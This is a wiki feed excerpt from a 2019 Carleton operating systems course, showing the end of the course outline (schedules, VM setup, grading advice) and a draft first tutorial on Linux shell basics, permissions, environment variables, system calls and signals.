      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Dec. 4&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 24|Lecture 24]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;TBD&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Final Exam&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Tutorials==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note this has changed for Tutorials 3 and 4.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You may complete tutorials in lab or on your own.  Submit your answers on culearn, they are due before the next week but are accepted with no grade penalty up until the related assignment is due.  (For example, Tutorials 1 and 2 must be completed before Assignment 1 is submitted.)&lt;br /&gt;
&lt;br /&gt;
Your answers will be graded based on participation, not understanding.  Basically, if you make a reasonable attempt at the whole tutorial you&#039;ll get 4/4.  Partial attempts will potentially be given partial credit; however, you may improve your tutorial mark as long as it is still being accepted.  Exceptions will be made only if there are extenuating circumstances.&lt;br /&gt;
&lt;br /&gt;
While you may collaborate with others and use outside resources, you should indicate the names of who you worked with and cite the sources you used.&lt;br /&gt;
&lt;br /&gt;
The words you submit should be your own.  Please don&#039;t copy-paste answers from others, because if you do, you are subject to being reported to the Dean for plagiarism.&lt;br /&gt;
&lt;br /&gt;
Note that your assigned TA will be marking your work.  You can find your TA by looking at the feedback portion of the &amp;quot;TA&amp;quot; grade item in cuLearn.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;width: 100%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;4&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Date&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Tutorials&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 9-13&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 1|Processes]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 16-20&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 2|3000shell]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 23-27&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 3|Memory &amp;amp; System Calls]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 30-Oct. 4&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 4|3000test]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 28-Nov. 1&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 5|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
        &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 4-8&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 6|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 11-15&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 7|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 18-22&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 8|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 25-29&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 9|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Assignments==&lt;br /&gt;
&lt;br /&gt;
Assignments are due before class on the due dates (2:30 PM).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;width: 100%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;4&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Due Date&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Assignments&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 27&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Assignment 1|Assignment 1]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 11&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Assignment 2|Assignment 2]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 15&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Assignment 3|Assignment 3]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Dec. 6&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Assignment 4|Assignment 4]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
 &amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Course Software==&lt;br /&gt;
&lt;br /&gt;
In this course we will primarily working with [http://www.ubuntu.com/ Ubuntu], a widely-used family of Linux distributions.   We will be using Ubuntu Server on the SCS&#039;s [http://openstack.scs.carleton.ca/ Openstack installation] (accessible only from the Carleton network).&lt;br /&gt;
&lt;br /&gt;
You may use other Linux distributions to complete the assigned work; there will be differences, however, in some aspects (such as installing software), particularly if you use a distribution not based on Ubuntu or Debian.&lt;br /&gt;
&lt;br /&gt;
===Openstack===&lt;br /&gt;
&lt;br /&gt;
You should create a VM on the new SCS openstack cluster at [https://openstack-stein.scs.carleton.ca openstack-stein.scs.carleton.ca] and do your work there.  Documentation on the cluster is [https://carleton.ca/scs/tech-support/scs-open-stack/ here].  While you don&#039;t need a persistent VM for this lab, it will be important for future tuturials - and it is nice to have your work stick around when you leave the lab.&lt;br /&gt;
&lt;br /&gt;
Note that you must be on the Carleton network to use openstack.  When you are off campus, connect using the  [https://carleton.ca/its/help-centre/remote-access/ Carleton VPN].&lt;br /&gt;
&lt;br /&gt;
Create a VM using the latest COMP 3000 snapshot image.  Please create a machine with two VCPUs.  The user is student, default password is student.  Please change your password after you first connect to your machine (using the passwd command).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Make sure you connect via ssh.&#039;&#039;&#039;  Windows 10 and MacOS have ssh clients available from their command lines, just type &amp;quot;ssh student@&amp;lt;IP address&amp;gt;&amp;quot; where the IP address is the floating IP address you assigned to your VM.  PuTTY also works, and you can use x2go.  DO NOT use the web console, as it is glitchy!&lt;br /&gt;
&lt;br /&gt;
The image provides an &amp;quot;scs-backup&amp;quot; command that will backup the student user&#039;s directory to the SCS linux machines.  So if your SCS username is janedoe, you can type&lt;br /&gt;
&lt;br /&gt;
  scs-backup janedoe&lt;br /&gt;
&lt;br /&gt;
and it will create a copy of everything in the student account in a directory called &amp;quot;COMP3000VM-backup&amp;quot; in your home directory.  You can ssh/sftp to access.scs.carleton.ca in order to access this copy of your VM&#039;s files.  You should do backups at the end of every session and before you do anything dangerous.&lt;br /&gt;
&lt;br /&gt;
The scs-backup bash function is listed below.  Feel free to adapt to your own needs; however, realize that rsync is a very powerful command that can delete arbitrary files at the specified destination (and in fact that is what the listed command does to the backup directory).  If you are changing any arguments, be sure to test with the -n option so you can see what will happen!&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note that you cannot take snapshots of your VM, so please don&#039;t try (it will keep trying and never succeed).&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==Online Resources==&lt;br /&gt;
&lt;br /&gt;
Other than [http://pages.cs.wisc.edu/~remzi/OSTEP/ the textbook], there are many, many other good online sources of information about operating systems.  Here are a few that may be of interest:&lt;br /&gt;
&lt;br /&gt;
* Jian Huang&#039;s [http://web.eecs.utk.edu/~huangj/cs360/lecture_notes.html Systems Programming notes]&lt;br /&gt;
&lt;br /&gt;
==Tutorial Grading==&lt;br /&gt;
&lt;br /&gt;
Each week you will get a progress grade from 0-4, given to you by a TA.  If you are being diligent, you should be able to get 4&#039;s every week.  The easiest way to get your grade is to come to tutorial and meet with your TA; alternately, you can meet a TA in their office hours or, at their discretion, discuss things with them online.  Tutorials from before the Midterm must be completed by the Midterm, and Tutorials after the Midterm must be completed by the last day of classes (if you wish to receive credit).&lt;br /&gt;
&lt;br /&gt;
Tutorial grades will be given out as follows:&lt;br /&gt;
* 2: student attended the tutorial (50%)&lt;br /&gt;
* 3: student worked on most of the tutorial material (75%)&lt;br /&gt;
* 4: student is learning the material in a way that should lead to success on assignment and the exams (100%)&lt;br /&gt;
&lt;br /&gt;
It should be easy to get a 3 if you show up and attempt the material.  To get a 4, however, you need to be demonstrating that you are conducting experiments and actively engaging with the material in a way that is likely to lead to success.&lt;br /&gt;
&lt;br /&gt;
It is possible to upgrade your grade on a tutorial at any time before the assignment on which they are based is due.&lt;br /&gt;
&lt;br /&gt;
==How to Succeed and How to Fail in COMP 3000==&lt;br /&gt;
&lt;br /&gt;
While the use of outside resources is acceptable, even encouraged, use them to achieve &#039;&#039;&#039;understanding&#039;&#039;&#039; rather than answers.&lt;br /&gt;
&lt;br /&gt;
It is very possible to get full tutorial marks by doing little more than showing up, and assignments can be quickly finished (and you can even get most of the marks) by working with partners, looking at old assignments, and doing lots of online searches.  If this is all you do, however, you will fail the tests and you won&#039;t get a very good grade in the course.&lt;br /&gt;
&lt;br /&gt;
Successful students use the tutorials and assignments as learning opportunities.  They look at the code and ask &amp;quot;what does that do?&amp;quot; - not just in a general sense, but by looking at every line and asking why it is there.  They modify the code in order to better understand it, and when they are confused they ask questions until they get the answers they need.  This sort of learning takes time, generally much more than the time allocated for lectures and tutorials.  A tutorial is only &amp;quot;finished&amp;quot; when you understand essentially all the material in it - not when 80 minutes are up.&lt;br /&gt;
&lt;br /&gt;
If you find you are confused about the concepts, make sure to read and review the textbook and the Linux man pages.  They provide much deeper answers than most online resources.  The tutorials are designed to help you ask the right questions - the textbook and manual pages (and the lectures) help provide the answers.&lt;br /&gt;
&lt;br /&gt;
Take the tutorials seriously.  Understand the answers for all the questions on the assignments.  Use the textbook and manual pages.  Ask questions.&lt;br /&gt;
&lt;br /&gt;
Good luck!&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2019F:_Tutorial_1&amp;diff=22383</id>
		<title>Operating Systems 2019F: Tutorial 1</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2019F:_Tutorial_1&amp;diff=22383"/>
		<updated>2019-09-08T23:50:42Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Tasks/Questions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;This tutorial is not yet finalized.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In this tutorial you will be learning the basics of command-line interaction in Linux.&lt;br /&gt;
&lt;br /&gt;
===Getting Started===&lt;br /&gt;
&lt;br /&gt;
For this tutorial, you need to get access to a Linux or UNIX machine.  We suggest you use one of the Virtualbox virtual machines already configured on the SCS lab machines.  Alternately, you can use a Linux terminal on your own machine, running on your own virtual Linux box, or on one of the [https://carleton.ca/scs/technical-support/linux/ SCS Linux machines].  Starting (hopefully) next week we will begin working with SCS&#039;s openstack cluster.   &lt;br /&gt;
&lt;br /&gt;
The concepts covered below are mostly part of standard UNIX/Linux tutorials.  Feel free to consult one or more of them.  However, remember that you are trying to build a conceptual model of how things work.  Thus, don&#039;t memorize commands; instead, try to understand how things fit together, and ask questions when things don&#039;t work as expected!&lt;br /&gt;
&lt;br /&gt;
Feel free to discuss this tutorial on discord on the #tutorials channel.&lt;br /&gt;
&lt;br /&gt;
==Background==&lt;br /&gt;
&lt;br /&gt;
===The Shell===&lt;br /&gt;
&lt;br /&gt;
The shell or command line provides a text interface for running programs.  While not as visually pleasing as a graphical interface, the shell provides a more clear representation of the functionality provided by the operating system.&lt;br /&gt;
&lt;br /&gt;
To run a program contained in the current directory in the shell, you need to prefix the name of the command with a &amp;lt;tt&amp;gt;./&amp;lt;/tt&amp;gt;.  This &amp;quot;./&amp;quot; tells the shell that the location of the command you wish to run is the current directory.  By default, the shell will not search for executable commands in the current working directory.  To run most system commands, the name of the command can be typed without a path specification.&lt;br /&gt;
&lt;br /&gt;
===Help===&lt;br /&gt;
&lt;br /&gt;
When working in the shell, help is available on most programs in the system, especially those that are command line based.  This system of help is available by using the &amp;lt;tt&amp;gt;man&amp;lt;/tt&amp;gt; (manual) command.  If one wanted to get help on the echo command, the associated command would be &amp;lt;tt&amp;gt;man echo&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
While you can find lots of documentation using web searches, note that it is very easy to find documentation that doesn&#039;t precisely match your system.  Thus web searches should be a complement to rather than a substitute for man pages.&lt;br /&gt;
&lt;br /&gt;
===Shell Basics===&lt;br /&gt;
&lt;br /&gt;
Note that &amp;lt;tt&amp;gt;bash&amp;lt;/tt&amp;gt; is the default shell on most Linux systems.  Other UNIX-like systems can default to other shells like &amp;lt;tt&amp;gt;csh&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;tcsh&amp;lt;/tt&amp;gt;; there are many alternatives such as &amp;lt;tt&amp;gt;zsh&amp;lt;/tt&amp;gt; that you may prefer.  When you change shells the syntax of the following operations can change; however, conceptually all UNIX-like shells provide the same basic functionality:&lt;br /&gt;
* run external programs with command-line arguments&lt;br /&gt;
* view and set environment variables&lt;br /&gt;
* redirect program input and output using I/O redirection and pipes.&lt;br /&gt;
* allow for the creation of scripts that combine external programs with built-in programming functionality.&lt;br /&gt;
&lt;br /&gt;
===Processes===&lt;br /&gt;
&lt;br /&gt;
Each application running on a system is assigned a unique process identifier.  The &amp;lt;tt&amp;gt;ps&amp;lt;/tt&amp;gt; command shows the process identifiers for running processes.  Each process running on the system is kept separated from other processes by the operating system.  This information will be useful for subsequent questions.&lt;br /&gt;
&lt;br /&gt;
When you enter a command at a shell prompt, most of the time you are creating a new process which runs the program you specified.&lt;br /&gt;
&lt;br /&gt;
===Permissions===&lt;br /&gt;
&lt;br /&gt;
Your permission to access a file in Unix is determined by who you are logged in as.  All files on the Unix file system (including directories and other special files) have three different sets of permissions. The first set of permissions denotes the allowed file operations for the owner of the file.  The second set of permissions denotes the allowed file operations for a group of users.  The third set of permissions denotes the allowed file operations for everyone else.  A file is always owned by someone and is always associated with a group.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;ls&amp;lt;/tt&amp;gt; command with the &amp;lt;tt&amp;gt;-l&amp;lt;/tt&amp;gt; option can be used to show both the permissions of a file as well as the owner and group associated with the file.  Permissions are listed first, followed by the owner and the group.&lt;br /&gt;
&lt;br /&gt;
===Environment &amp;amp; Shell Variables===&lt;br /&gt;
&lt;br /&gt;
Environment variables on both Linux and Windows are variable-value pairs that are shared between processes that define important context-related information (such as the name of the current user, the current language, the timezone) for applications.  THe key advantage of environment variables is that they are available right when a program starts - they are given to it by the operating system.&lt;br /&gt;
&lt;br /&gt;
In Linux, these environment variables can be printed on the command line in most shells by referring to the variable name prefixed with a $ sign (eg: to output the value in the HELLO environment variable, one could write &amp;lt;tt&amp;gt;echo $HELLO&amp;lt;/tt&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Most shells also have internal variables which are private to the shell process.  Typically you can access shell and environment variables using the same mechanisms.  By convention, shell variables are lower case or mixed case, while environment variables are all upper case.  In bash, by default all variables are first shell variables.  To make them environment variables, they must be &amp;quot;export&amp;quot;-ed.  Thus&lt;br /&gt;
&lt;br /&gt;
  X=&amp;quot;Important Data&amp;quot;&lt;br /&gt;
&lt;br /&gt;
just defines X for the current bash process.  However, if you then type&lt;br /&gt;
&lt;br /&gt;
  export X&lt;br /&gt;
&lt;br /&gt;
X will be turned into an environment variable, and so every subsequent program will also get X.  You can combine both in one line:&lt;br /&gt;
&lt;br /&gt;
  export X=&amp;quot;Important Data&amp;quot;&lt;br /&gt;
&lt;br /&gt;
This is the idiom for setting environment variables normally.&lt;br /&gt;
&lt;br /&gt;
One thing to remember with the above is that spaces are used to separate arguments in bash and most other UNIX shells.  Thus it is an error to type:&lt;br /&gt;
&lt;br /&gt;
  export X = &amp;quot;Important Data&amp;quot;&lt;br /&gt;
&lt;br /&gt;
as you now are giving export three arguments, not one.&lt;br /&gt;
&lt;br /&gt;
One of the key reasons people choose alternatives to bash is because of quirks like this!&lt;br /&gt;
&lt;br /&gt;
===Dynamic Libraries===&lt;br /&gt;
&lt;br /&gt;
Most applications on the system do not contain all the code that they need right within the executable.  Instead, dynamic libraries are loaded into the program address space when the program loads.  As an example, the standard C library, which contains such functions as &amp;lt;tt&amp;gt;printf&amp;lt;/tt&amp;gt;, is loaded in at run-time. Typically dynamic libraries are stored in /lib or /usr/lib.&lt;br /&gt;
&lt;br /&gt;
The dynamic libraries associated with a program binary can be found using the &amp;lt;tt&amp;gt;ldd&amp;lt;/tt&amp;gt; command.  You can use &amp;lt;tt&amp;gt;ltrace&amp;lt;/tt&amp;gt; to see calls to functions that are dynamically linked.&lt;br /&gt;
&lt;br /&gt;
===System Calls===&lt;br /&gt;
&lt;br /&gt;
A process on its own has limited access to the system.  It cannot directly access any external devices or data sources (e.g., files, keyboard, the screen, networks) on its own.  To access these external resources, to allocate memory, or otherwise change its runtime environment, it must make &#039;&#039;&#039;system calls&#039;&#039;&#039;.  Note that system calls run code outside of a process and thus cannot be called like regular function calls.  The standard C library provides function wrappers for most commonly-used system calls so they can be accessed like regular C functions.  Under the hood, however, these functions make use of special compiler directives in order to generate the machine code necessary to invoke system calls.&lt;br /&gt;
&lt;br /&gt;
You can see the system calls produced by a process using the &amp;lt;tt&amp;gt;strace&amp;lt;/tt&amp;gt; command.&lt;br /&gt;
&lt;br /&gt;
===Cotrolling Processes===&lt;br /&gt;
&lt;br /&gt;
On Linux, you can control processes by sending them signals.  You send signals when you type certain key sequences in most shells: Control-C sends INT (interrupt), Control-Z sends STOP.&lt;br /&gt;
&lt;br /&gt;
You can send a signal to a process using the kill command:&lt;br /&gt;
&lt;br /&gt;
  kill -&amp;lt;signal&amp;gt; &amp;lt;process ID&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So to stop process 4542, type&lt;br /&gt;
&lt;br /&gt;
  kill -STOP 4542&lt;br /&gt;
&lt;br /&gt;
By default, kill sends the TERM signal.&lt;br /&gt;
&lt;br /&gt;
===Downloading Code &amp;amp; Compiling Programs===&lt;br /&gt;
&lt;br /&gt;
To download C programs to your VM, use &amp;lt;tt&amp;gt;wget&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;curl&amp;lt;/tt&amp;gt; commands:&lt;br /&gt;
&lt;br /&gt;
 wget https://homeostasis.scs.carleton.ca/~soma/os-2017f/code/tut1/hello.c&lt;br /&gt;
 curl https://homeostasis.scs.carleton.ca/~soma/os-2017f/code/tut1/hello.c -o hello.c&lt;br /&gt;
&lt;br /&gt;
To compile, use gcc:&lt;br /&gt;
&lt;br /&gt;
 gcc -O2 hello.c -o hello&lt;br /&gt;
&lt;br /&gt;
This compiles it with level 2 optimization and without debugging symbols.&lt;br /&gt;
&lt;br /&gt;
To run, you have to specify where it is:&lt;br /&gt;
&lt;br /&gt;
 ./hello&lt;br /&gt;
&lt;br /&gt;
Remember you can change directories using the &amp;lt;tt&amp;gt;cd&amp;lt;/tt&amp;gt; command.&lt;br /&gt;
&lt;br /&gt;
By default gcc-produced binaries are dynamically linked (so at runtime they will require dynamic libraries to be present on the system).  To compile a binary that is statically linked (so it has no external runtime library dependencies), instead do this:&lt;br /&gt;
&lt;br /&gt;
 gcc -O2 -static hello.c -o hello&lt;br /&gt;
&lt;br /&gt;
==Tasks/Questions==&lt;br /&gt;
&lt;br /&gt;
# Look up the manual page for three shell commands discussed above or shown in lecture.  What do you notice about the format of manual pages?  What sections are they divided into?  How detailed are they?&lt;br /&gt;
# By default, manual pages are displayed using &amp;lt;tt&amp;gt;less&amp;lt;/tt&amp;gt;.  How do you quit &amp;lt;tt&amp;gt;less&amp;lt;/tt&amp;gt;?  How can you search for specific terms?&lt;br /&gt;
# Using the &amp;lt;tt&amp;gt;which&amp;lt;/tt&amp;gt; command, figure out where at least three commands reside on the system.  Look at the permissions of those files.  Who owns them?  What group are they in?&lt;br /&gt;
# For those same program binaries, figure out what the permission bits mean by reading the man page of &amp;lt;tt&amp;gt;chmod&amp;lt;/tt&amp;gt;.  (This is the command you could use to change those permission bits.)  What is the difference between &amp;quot;man chmod&amp;quot; and &amp;quot;man 2 chmod&amp;quot;?&lt;br /&gt;
# What are the owner, group, and permissions of /etc/passwd and /etc/shadow?  What are these files used for?&lt;br /&gt;
# What does it mean to have execute permission on a directory?&lt;br /&gt;
# The &amp;lt;tt&amp;gt;ls&amp;lt;/tt&amp;gt; command can be used to get a listing of the files in a directory.  What options are passed to &amp;lt;tt&amp;gt;ls&amp;lt;/tt&amp;gt; to see all of the files within a directory (including hidden files)?  What files are hidden?&lt;br /&gt;
# The PATH environment variable lists the directories the shell uses to search for commands.  Where can you find documentation on it?  How can you add the current directory (whichever directory you are currently in) to PATH?&lt;br /&gt;
# Is &amp;lt;tt&amp;gt;cd&amp;lt;/tt&amp;gt; a command that is built in to a shell, or is it an external binary?  How do you know?&lt;br /&gt;
# Using &amp;lt;tt&amp;gt;ldd&amp;lt;/tt&amp;gt;, what dynamic library dependencies does the &amp;lt;tt&amp;gt;top&amp;lt;/tt&amp;gt; command have?  Note that you must specify the full path to &amp;lt;tt&amp;gt;top&amp;lt;/tt&amp;gt;.&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;top&amp;lt;/tt&amp;gt; in one window and try to terminate it using the &amp;lt;tt&amp;gt;kill&amp;lt;/tt&amp;gt; command in another window.  Try running &amp;quot;strace -fqo /tmp/top.log top&amp;quot; to get a record of the system calls that top is running.  What happens to top when it receives those signals?  What system call is used to send the signals?&lt;br /&gt;
